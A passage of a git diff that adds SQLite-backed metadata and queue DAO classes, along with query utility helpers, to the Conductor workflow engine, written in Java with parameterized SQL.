FROM queue WHERE queue_name = ?)"; + boolean exists = query(connection, EXISTS_QUEUE, q -> q.addParameter(queueName).exists()); + if (!exists) { + final String CREATE_QUEUE = + "INSERT INTO queue (queue_name) VALUES (?) ON CONFLICT (queue_name) DO NOTHING"; + execute(connection, CREATE_QUEUE, q -> q.addParameter(queueName).executeUpdate()); + } + } + + private class QueueMessage { + public String queueName; + public String messageId; + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteEventHandlerMetadataDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteEventHandlerMetadataDAO.java new file mode 100644 index 0000000..9cfa123 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteEventHandlerMetadataDAO.java @@ -0,0 +1,151 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao.metadata; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.List; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.sqlite.dao.SqliteBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +public class SqliteEventHandlerMetadataDAO extends SqliteBaseDAO { + + public SqliteEventHandlerMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + public void addEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "EventHandler name cannot be null"); + + final String INSERT_EVENT_HANDLER_QUERY = + "INSERT INTO meta_event_handler (name, event, active, json_data) " + + "VALUES (?, ?, ?, ?)"; + + withTransaction( + tx -> { + if (getEventHandler(tx, eventHandler.getName()) != null) { + throw new ConflictException( + "EventHandler with name " + + eventHandler.getName() + + " already exists!"); + } + + execute( + tx, + INSERT_EVENT_HANDLER_QUERY, + q -> + q.addParameter(eventHandler.getName()) + .addParameter(eventHandler.getEvent()) + .addParameter(eventHandler.isActive()) + .addJsonParameter(eventHandler) + .executeUpdate()); + }); + } + + public void updateEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "EventHandler name cannot be null"); + + // @formatter:off + final String UPDATE_EVENT_HANDLER_QUERY = + "UPDATE meta_event_handler SET " + + "event = ?, active = ?, json_data = ?, " + + "modified_on = CURRENT_TIMESTAMP WHERE name = ?"; + // @formatter:on + + withTransaction( + tx -> { + EventHandler existing = getEventHandler(tx, eventHandler.getName()); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name " + eventHandler.getName() + " not found!"); + } + + execute( + tx, + UPDATE_EVENT_HANDLER_QUERY, + q -> + q.addParameter(eventHandler.getEvent()) + .addParameter(eventHandler.isActive()) + .addJsonParameter(eventHandler) + .addParameter(eventHandler.getName()) + .executeUpdate()); + }); + } + + public void removeEventHandler(String name) { + final String DELETE_EVENT_HANDLER_QUERY = "DELETE FROM meta_event_handler WHERE name = ?"; + + withTransaction( + tx -> { + EventHandler existing = getEventHandler(tx, name); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name " + name + " not found!"); + } + + execute( + tx, + DELETE_EVENT_HANDLER_QUERY, + q -> q.addParameter(name).executeDelete()); + }); + } + + public List getEventHandlersForEvent(String event, boolean activeOnly) { + final String READ_ALL_EVENT_HANDLER_BY_EVENT_QUERY = + "SELECT json_data FROM meta_event_handler WHERE event = ?"; + return queryWithTransaction( + READ_ALL_EVENT_HANDLER_BY_EVENT_QUERY, + q -> { + q.addParameter(event); + return q.executeAndFetch( + rs -> { + List handlers = new ArrayList<>(); + while (rs.next()) { + EventHandler h = readValue(rs.getString(1), EventHandler.class); + if (!activeOnly || h.isActive()) { + handlers.add(h); + } + } + + return handlers; + }); + }); + } + + public List getAllEventHandlers() { + final String READ_ALL_EVENT_HANDLER_QUERY = "SELECT json_data FROM meta_event_handler"; + return queryWithTransaction( + READ_ALL_EVENT_HANDLER_QUERY, q -> q.executeAndFetch(EventHandler.class)); + } + + private EventHandler getEventHandler(Connection connection, String name) { + final String READ_ONE_EVENT_HANDLER_QUERY = + "SELECT json_data FROM meta_event_handler WHERE name = ?"; + + return query( + connection, + READ_ONE_EVENT_HANDLER_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(EventHandler.class)); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteMetadataDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteMetadataDAO.java new file mode 100644 index 0000000..6fb1aa8 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteMetadataDAO.java @@ -0,0 +1,129 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao.metadata; + +import java.util.List; +import java.util.Optional; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.dao.MetadataDAO; + +import lombok.RequiredArgsConstructor; + +@RequiredArgsConstructor +public class SqliteMetadataDAO implements MetadataDAO, EventHandlerDAO { + + private final SqliteTaskMetadataDAO taskMetadataDAO; + private final SqliteWorkflowMetadataDAO workflowMetadataDAO; + private final SqliteEventHandlerMetadataDAO eventHandlerMetadataDAO; + + @Override + public TaskDef createTaskDef(TaskDef taskDef) { + return taskMetadataDAO.createTaskDef(taskDef); + } + + @Override + public TaskDef updateTaskDef(TaskDef taskDef) { + return taskMetadataDAO.updateTaskDef(taskDef); + } + + @Override + public TaskDef getTaskDef(String name) { + return taskMetadataDAO.getTaskDef(name); + } + + @Override + public List getAllTaskDefs() { + return taskMetadataDAO.getAllTaskDefs(); + } + + @Override + public void removeTaskDef(String name) { + taskMetadataDAO.removeTaskDef(name); + } + + @Override + public void createWorkflowDef(WorkflowDef def) { + workflowMetadataDAO.createWorkflowDef(def); + } + + @Override + public void updateWorkflowDef(WorkflowDef def) { + workflowMetadataDAO.updateWorkflowDef(def); + } + + @Override + public Optional getLatestWorkflowDef(String name) { + return workflowMetadataDAO.getLatestWorkflowDef(name); + } + + @Override + public Optional getWorkflowDef(String name, int version) { + return workflowMetadataDAO.getWorkflowDef(name, version); + } + + @Override + public void removeWorkflowDef(String name, Integer version) { + workflowMetadataDAO.removeWorkflowDef(name, version); + } + + @Override + public List getAllWorkflowDefs() { + return workflowMetadataDAO.getAllWorkflowDefs(); + } + + @Override + public List getAllWorkflowDefsLatestVersions() { + return workflowMetadataDAO.getAllWorkflowDefsLatestVersions(); + } + + @Override + public void addEventHandler(EventHandler eventHandler) { + eventHandlerMetadataDAO.addEventHandler(eventHandler); + } + + @Override + public void updateEventHandler(EventHandler eventHandler) { + eventHandlerMetadataDAO.updateEventHandler(eventHandler); + } + + @Override + public void removeEventHandler(String name) { + eventHandlerMetadataDAO.removeEventHandler(name); + } + + @Override + public List getAllEventHandlers() { + return eventHandlerMetadataDAO.getAllEventHandlers(); + } + + @Override + public List getEventHandlersForEvent(String event, boolean activeOnly) { + return eventHandlerMetadataDAO.getEventHandlersForEvent(event, activeOnly); + } + + public List findAll() { + return workflowMetadataDAO.findAll(); + } + + public List getAllLatest() { + return workflowMetadataDAO.getAllLatest(); + } + + public List getAllVersions(String name) { + return workflowMetadataDAO.getAllVersions(name); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteTaskMetadataDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteTaskMetadataDAO.java new file mode 100644 index 0000000..ee99c6b --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteTaskMetadataDAO.java @@ -0,0 +1,118 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao.metadata; + +import java.sql.Connection; +import java.util.List; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.sqlite.dao.SqliteBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +public class SqliteTaskMetadataDAO extends SqliteBaseDAO { + + public SqliteTaskMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + public TaskDef createTaskDef(TaskDef taskDef) { + validate(taskDef); + insertOrUpdateTaskDef(taskDef); + return taskDef; + } + + public TaskDef updateTaskDef(TaskDef taskDef) { + validate(taskDef); + insertOrUpdateTaskDef(taskDef); + return taskDef; + } + + public TaskDef getTaskDef(String name) { + Preconditions.checkNotNull(name, "TaskDef name cannot be null"); + return getTaskDefFromDB(name); + } + + public List getAllTaskDefs() { + return getWithRetriedTransactions(this::findAllTaskDefs); + } + + public void removeTaskDef(String name) { + final String DELETE_TASKDEF_QUERY = "DELETE FROM meta_task_def WHERE name = ?"; + + executeWithTransaction( + DELETE_TASKDEF_QUERY, + q -> { + if (!q.addParameter(name).executeDelete()) { + throw new NotFoundException("No such task definition"); + } + }); + } + + private void validate(TaskDef taskDef) { + Preconditions.checkNotNull(taskDef, "TaskDef object cannot be null"); + Preconditions.checkNotNull(taskDef.getName(), "TaskDef name cannot be null"); + } + + private TaskDef getTaskDefFromDB(String name) { + final String READ_ONE_TASKDEF_QUERY = "SELECT json_data FROM meta_task_def WHERE name = ?"; + + return queryWithTransaction( + READ_ONE_TASKDEF_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(TaskDef.class)); + } + + private String insertOrUpdateTaskDef(TaskDef taskDef) { + final String UPDATE_TASKDEF_QUERY = + "UPDATE meta_task_def SET json_data = ?, modified_on = CURRENT_TIMESTAMP WHERE name = ?"; + + final String INSERT_TASKDEF_QUERY = + "INSERT INTO meta_task_def (name, json_data) VALUES (?, ?)"; + + return getWithRetriedTransactions( + tx -> { + execute( + tx, + UPDATE_TASKDEF_QUERY, + update -> { + int result = + update.addJsonParameter(taskDef) + .addParameter(taskDef.getName()) + .executeUpdate(); + if (result == 0) { + execute( + tx, + INSERT_TASKDEF_QUERY, + insert -> + insert.addParameter(taskDef.getName()) + .addJsonParameter(taskDef) + .executeUpdate()); + } + }); + return taskDef.getName(); + }); + } + + private List findAllTaskDefs(Connection tx) { + final String READ_ALL_TASKDEF_QUERY = "SELECT json_data FROM meta_task_def"; + + return query(tx, READ_ALL_TASKDEF_QUERY, q -> q.executeAndFetch(TaskDef.class)); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteWorkflowMetadataDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteWorkflowMetadataDAO.java new file mode 100644 index 0000000..384acfd --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteWorkflowMetadataDAO.java @@ -0,0 +1,229 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao.metadata; + +import java.sql.Connection; +import java.util.List; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.sqlite.dao.SqliteBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +public class SqliteWorkflowMetadataDAO extends SqliteBaseDAO { + + public SqliteWorkflowMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + public void createWorkflowDef(WorkflowDef def) { + validate(def); + + withTransaction( + tx -> { + if (workflowExists(tx, def)) { + throw new ConflictException( + "Workflow with " + def.key() + " already exists!"); + } + + insertOrUpdateWorkflowDef(tx, def); + }); + } + + public void updateWorkflowDef(WorkflowDef def) { + validate(def); + withTransaction(tx -> insertOrUpdateWorkflowDef(tx, def)); + } + + public Optional getLatestWorkflowDef(String name) { + final String GET_LATEST_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE NAME = ? AND " + + "version = latest_version"; + + return Optional.ofNullable( + queryWithTransaction( + GET_LATEST_WORKFLOW_DEF_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(WorkflowDef.class))); + } + + public Optional getWorkflowDef(String name, int version) { + final String GET_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE NAME = ? AND version = ?"; + return Optional.ofNullable( + queryWithTransaction( + GET_WORKFLOW_DEF_QUERY, + q -> + q.addParameter(name) + .addParameter(version) + .executeAndFetchFirst(WorkflowDef.class))); + } + + public void removeWorkflowDef(String name, Integer version) { + final String DELETE_WORKFLOW_QUERY = + "DELETE from meta_workflow_def WHERE name = ? AND version = ?"; + + withTransaction( + tx -> { + // remove specified workflow + execute( + tx, + DELETE_WORKFLOW_QUERY, + q -> { + if (!q.addParameter(name).addParameter(version).executeDelete()) { + throw new NotFoundException( + String.format( + "No such workflow definition: %s version: %d", + name, version)); + } + }); + // reset latest version based on remaining rows for this workflow + Optional maxVersion = getLatestVersion(tx, name); + maxVersion.ifPresent(newVersion -> updateLatestVersion(tx, name, newVersion)); + }); + } + + public List getAllWorkflowDefs() { + final String GET_ALL_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def ORDER BY name, version"; + + return queryWithTransaction( + GET_ALL_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List getAllWorkflowDefsLatestVersions() { + final String GET_ALL_WORKFLOW_DEF_LATEST_VERSIONS_QUERY = + "SELECT json_data FROM meta_workflow_def wd WHERE wd.version = (SELECT MAX(version) FROM meta_workflow_def wd2 WHERE wd2.name = wd.name)"; + return queryWithTransaction( + GET_ALL_WORKFLOW_DEF_LATEST_VERSIONS_QUERY, + q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List findAll() { + final String FIND_ALL_WORKFLOW_DEF_QUERY = "SELECT DISTINCT name FROM meta_workflow_def"; + return queryWithTransaction( + FIND_ALL_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(String.class)); + } + + public List getAllLatest() { + final String GET_ALL_LATEST_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE version = " + "latest_version"; + + return queryWithTransaction( + GET_ALL_LATEST_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List getAllVersions(String name) { + final String GET_ALL_VERSIONS_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE name = ? " + "ORDER BY version"; + + return queryWithTransaction( + GET_ALL_VERSIONS_WORKFLOW_DEF_QUERY, + q -> q.addParameter(name).executeAndFetch(WorkflowDef.class)); + } + + private Boolean workflowExists(Connection connection, WorkflowDef def) { + final String CHECK_WORKFLOW_DEF_EXISTS_QUERY = + "SELECT COUNT(*) FROM meta_workflow_def WHERE name = ? AND " + "version = ?"; + + return query( + connection, + CHECK_WORKFLOW_DEF_EXISTS_QUERY, + q -> q.addParameter(def.getName()).addParameter(def.getVersion()).exists()); + } + + private void insertOrUpdateWorkflowDef(Connection tx, WorkflowDef def) { + final String INSERT_WORKFLOW_DEF_QUERY = + "INSERT INTO meta_workflow_def (name, version, json_data) VALUES (?," + " ?, ?)"; + + Optional version = getLatestVersion(tx, def.getName()); + if (!workflowExists(tx, def)) { + execute( + tx, + INSERT_WORKFLOW_DEF_QUERY, + q -> + q.addParameter(def.getName()) + .addParameter(def.getVersion()) + .addJsonParameter(def) + .executeUpdate()); + } else { + // @formatter:off + final String UPDATE_WORKFLOW_DEF_QUERY = + "UPDATE meta_workflow_def " + + "SET json_data = ?, modified_on = CURRENT_TIMESTAMP " + + "WHERE name = ? AND version = ?"; + // @formatter:on + + execute( + tx, + UPDATE_WORKFLOW_DEF_QUERY, + q -> + q.addJsonParameter(def) + .addParameter(def.getName()) + .addParameter(def.getVersion()) + .executeUpdate()); + } + int maxVersion = def.getVersion(); + if (version.isPresent() && version.get() > def.getVersion()) { + maxVersion = version.get(); + } + + updateLatestVersion(tx, def.getName(), maxVersion); + } + + private Optional getLatestVersion(Connection tx, String name) { + final String GET_LATEST_WORKFLOW_DEF_VERSION = + "SELECT max(version) AS version FROM meta_workflow_def WHERE " + "name = ?"; + + Integer val = + query( + tx, + GET_LATEST_WORKFLOW_DEF_VERSION, + q -> { + q.addParameter(name); + return q.executeAndFetch( + rs -> { + if (!rs.next()) { + return null; + } + + return rs.getInt(1); + }); + }); + + return Optional.ofNullable(val); + } + + private void updateLatestVersion(Connection tx, String name, int version) { + final String UPDATE_WORKFLOW_DEF_LATEST_VERSION_QUERY = + "UPDATE meta_workflow_def SET latest_version = ? " + "WHERE name = ?"; + + execute( + tx, + UPDATE_WORKFLOW_DEF_LATEST_VERSION_QUERY, + q -> q.addParameter(version).addParameter(name).executeUpdate()); + } + + private void validate(WorkflowDef def) { + Preconditions.checkNotNull(def, "WorkflowDef object cannot be null"); + Preconditions.checkNotNull(def.getName(), "WorkflowDef name cannot be null"); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecuteFunction.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecuteFunction.java new file mode 100644 index 0000000..aa6c06b --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecuteFunction.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.sql.SQLException; + +/** + * Functional interface for {@link Query} executions with no expected result. + * + * @author mustafa + */ +@FunctionalInterface +public interface ExecuteFunction { + + void apply(Query query) throws SQLException; +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecutorsUtil.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecutorsUtil.java new file mode 100644 index 0000000..4f8ac61 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecutorsUtil.java @@ -0,0 +1,37 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.atomic.AtomicInteger; + +public class ExecutorsUtil { + + private ExecutorsUtil() {} + + public static ThreadFactory newNamedThreadFactory(final String threadNamePrefix) { + return new ThreadFactory() { + + private final AtomicInteger counter = new AtomicInteger(); + + @SuppressWarnings("NullableProblems") + @Override + public Thread newThread(Runnable r) { + Thread thread = Executors.defaultThreadFactory().newThread(r); + thread.setName(threadNamePrefix + counter.getAndIncrement()); + return thread; + } + }; + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/LazyToString.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/LazyToString.java new file mode 100644 index 0000000..bd7940c --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/LazyToString.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.util.function.Supplier; + +/** Functional class to support the lazy execution of a String result. */ +public class LazyToString { + + private final Supplier supplier; + + /** + * @param supplier Supplier to execute when {@link #toString()} is called. + */ + public LazyToString(Supplier supplier) { + this.supplier = supplier; + } + + @Override + public String toString() { + return supplier.get(); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/Query.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/Query.java new file mode 100644 index 0000000..b553a95 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/Query.java @@ -0,0 +1,648 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.io.IOException; +import java.sql.*; +import java.sql.Date; +import java.util.*; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.commons.lang3.math.NumberUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.exception.NonTransientException; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Represents a {@link PreparedStatement} that is wrapped with convenience methods and utilities. + * + *

    This class simulates a parameter building pattern and all {@literal addParameter(*)} methods + * must be called in the proper order of their expected binding sequence. + * + * @author mustafa + */ +public class Query implements AutoCloseable { + + private final Logger logger = LoggerFactory.getLogger(getClass()); + + /** The {@link ObjectMapper} instance to use for serializing/deserializing JSON. */ + protected final ObjectMapper objectMapper; + + /** The initial supplied query String that was used to prepare {@link #statement}. */ + private final String rawQuery; + + /** + * Parameter index for the {@code ResultSet#set*(*)} methods, gets incremented every time a + * parameter is added to the {@code PreparedStatement} {@link #statement}. + */ + private final AtomicInteger index = new AtomicInteger(1); + + /** The {@link PreparedStatement} that will be managed and executed by this class. */ + private final PreparedStatement statement; + + private final Connection connection; + + public Query(ObjectMapper objectMapper, Connection connection, String query) { + this.rawQuery = query; + this.objectMapper = objectMapper; + this.connection = connection; + + try { + this.statement = connection.prepareStatement(query); + } catch (SQLException ex) { + throw new NonTransientException( + "Cannot prepare statement for query: " + ex.getMessage(), ex); + } + } + + /** + * Generate a String with {@literal count} number of '?' placeholders for {@link + * PreparedStatement} queries. + * + * @param count The number of '?' chars to generate. + * @return a comma delimited string of {@literal count} '?' binding placeholders. + */ + public static String generateInBindings(int count) { + String[] questions = new String[count]; + for (int i = 0; i < count; i++) { + questions[i] = "?"; + } + + return String.join(", ", questions); + } + + public Query addParameter(final String value) { + return addParameterInternal((ps, idx) -> ps.setString(idx, value)); + } + + public Query addParameter(final List value) throws SQLException { + String[] valueStringArray = value.toArray(new String[0]); + Array valueArray = this.connection.createArrayOf("VARCHAR", valueStringArray); + return addParameterInternal((ps, idx) -> ps.setArray(idx, valueArray)); + } + + public Query addParameter(final int value) { + return addParameterInternal((ps, idx) -> ps.setInt(idx, value)); + } + + public Query addParameter(final boolean value) { + return addParameterInternal(((ps, idx) -> ps.setBoolean(idx, value))); + } + + public Query addParameter(final long value) { + return addParameterInternal((ps, idx) -> ps.setLong(idx, value)); + } + + public Query addParameter(final double value) { + return addParameterInternal((ps, idx) -> ps.setDouble(idx, value)); + } + + public Query addParameter(Date date) { + return addParameterInternal((ps, idx) -> ps.setDate(idx, date)); + } + + public Query addParameter(Timestamp timestamp) { + return addParameterInternal((ps, idx) -> ps.setTimestamp(idx, timestamp)); + } + + /** + * Serializes {@literal value} to a JSON string for persistence. + * + * @param value The value to serialize. + * @return {@literal this} + */ + public Query addJsonParameter(Object value) { + return addParameter(toJson(value)); + } + + /** + * Bind the given {@link java.util.Date} to the PreparedStatement as a {@link Date}. + * + * @param date The {@literal java.util.Date} to bind. + * @return {@literal this} + */ + public Query addDateParameter(java.util.Date date) { + return addParameter(new Date(date.getTime())); + } + + /** + * Bind the given {@link java.util.Date} to the PreparedStatement as a {@link Timestamp}. + * + * @param date The {@literal java.util.Date} to bind. + * @return {@literal this} + */ + public Query addTimestampParameter(java.util.Date date) { + return addParameter(new Timestamp(date.getTime())); + } + + /** + * Bind the given epoch millis to the PreparedStatement as a {@link Timestamp}. + * + * @param epochMillis The epoch ms to create a new {@literal Timestamp} from. + * @return {@literal this} + */ + public Query addTimestampParameter(long epochMillis) { + return addParameter(new Timestamp(epochMillis)); + } + + /** + * Add a collection of primitive values at once, in the order of the collection. + * + * @param values The values to bind to the prepared statement. + * @return {@literal this} + * @throws IllegalArgumentException If a non-primitive/unsupported type is encountered in the + * collection. + * @see #addParameters(Object...) + */ + public Query addParameters(Collection values) { + return addParameters(values.toArray()); + } + + /** + * Add many primitive values at once. + * + * @param values The values to bind to the prepared statement. + * @return {@literal this} + * @throws IllegalArgumentException If a non-primitive/unsupported type is encountered. + */ + public Query addParameters(Object... values) { + for (Object v : values) { + if (v instanceof String) { + addParameter((String) v); + } else if (v instanceof Integer) { + addParameter((Integer) v); + } else if (v instanceof Long) { + addParameter((Long) v); + } else if (v instanceof Double) { + addParameter((Double) v); + } else if (v instanceof Boolean) { + addParameter((Boolean) v); + } else if (v instanceof Date) { + addParameter((Date) v); + } else if (v instanceof Timestamp) { + addParameter((Timestamp) v); + } else { + throw new IllegalArgumentException( + "Type " + + v.getClass().getName() + + " is not supported by automatic property assignment"); + } + } + + return this; + } + + /** + * Utility method for evaluating the prepared statement as a query to check the existence of a + * record using a numeric count or boolean return value. + * + *

    The {@link #rawQuery} provided must result in a {@link Number} or {@link Boolean} result. + * + * @return {@literal true} If a count query returned more than 0 or an exists query returns + * {@literal true}. + * @throws NonTransientException If an unexpected return type cannot be evaluated to a {@code + * Boolean} result. + */ + public boolean exists() { + Object val = executeScalar(); + if (null == val) { + return false; + } + + if (val instanceof Number) { + return convertLong(val) > 0; + } + + if (val instanceof Boolean) { + return (Boolean) val; + } + + if (val instanceof String) { + return convertBoolean(val); + } + + throw new NonTransientException( + "Expected a Numeric or Boolean scalar return value from the query, received " + + val.getClass().getName()); + } + + /** + * Convenience method for executing delete statements. + * + * @return {@literal true} if the statement affected 1 or more rows. + * @see #executeUpdate() + */ + public boolean executeDelete() { + int count = executeUpdate(); + if (count > 1) { + logger.trace("Removed {} row(s) for query {}", count, rawQuery); + } + + return count > 0; + } + + /** + * Convenience method for executing statements that return a single numeric value, typically + * {@literal SELECT COUNT...} style queries. + * + * @return The result of the query as a {@literal long}. + */ + public long executeCount() { + return executeScalar(Long.class); + } + + /** + * @return The result of {@link PreparedStatement#executeUpdate()} + */ + public int executeUpdate() { + try { + + Long start = null; + if (logger.isTraceEnabled()) { + start = System.currentTimeMillis(); + } + + final int val = this.statement.executeUpdate(); + + if (null != start && logger.isTraceEnabled()) { + long end = System.currentTimeMillis(); + logger.trace("[{}ms] {}: {}", (end - start), val, rawQuery); + } + + return val; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute a query from the PreparedStatement and return the ResultSet. + * + *

